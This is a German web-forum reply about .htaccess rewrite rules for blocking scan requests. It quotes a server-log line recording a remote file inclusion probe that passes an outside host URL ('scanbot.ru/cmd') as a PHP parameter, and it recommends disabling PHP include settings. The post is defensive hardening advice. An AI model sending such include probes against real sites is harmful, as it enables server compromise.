Sven Rautenberg: .htaccess rewrite condition

Beitrag lesen

Moin!

...der Request kommt so oder so. Der Server muß damit nur sinnvoll umgehen. 404 ist eine sehr vernünftige Antwort, wie ich finde.

wenn sie denn kommt.

Wenn es aber so ausieht:
80.249.5.226 - - [03/Dec/2007:10:47:58 +0100] "GET /index.php?go=http://scanbot.ru/cmd? HTTP/1.1" 200 21948 "-" "libwww-perl/5.808" 161 22492

dann ist mir dabei nicht so wohl.

Ok, aber deine Reaktion auf sowas ist doch eher unzureichend. Du stellst fest, dass da jemand einen Request mit URL als Parameter sendet, und deine Antwort ist, auf den User-Agent zu reagieren und basierend DARAUF den Zugriff zu verbieten.

Klingt so ähnlich, als ob dir jemand einen bösen Schimpfnamen gibt, und du nur dann beleidigt bist, wenn dir dessen Zipfelmütze nicht gefällt - anstatt auf die Beleidigung zu reagieren.

_Wenn_ ich mir einmal sicher bin, dass _alle_ Scripts auf dem Server (Foren, CMSe usw.) gegen so etwas immun sind, dann ja.

Wie willst du beim Einsatz von Software, der du nicht vertraust, unbekannte Sicherheitslücken abfangen? Schaffe dir Software an, der du vertrauen kannst. Oder die in einer Umgebung läuft, die derartige Angriffe nicht zuläßt.

Aber bis dahin fühle ich mich wohler, explizit per RewriteRule .* - [F,L] einen 403 zu schicken.

Oder sollte ich etwas falsch verstanden haben.

Dein Filteransatz ist halt sehr merkwürdig. Wenn gültige URLs auf deinem Server niemals eine URL im Querystring haben können, sollte exakt DIES das Filterkriterium sein, nicht irgendein frei wählbarer User-Agent-String.

Wobei ich überdies bezweifle, dass PHP solche Hilfestellung benötigt - mit dem Abstellen der typischen Einfallstore für Include-Attacken (register_globals, allow_url_fopen, allow_url_include [seit PHP 5.2.0]) hat man absolut ausreichende Maßnahmen getroffen.

- Sven Rautenberg

--
"Love your nation - respect the others."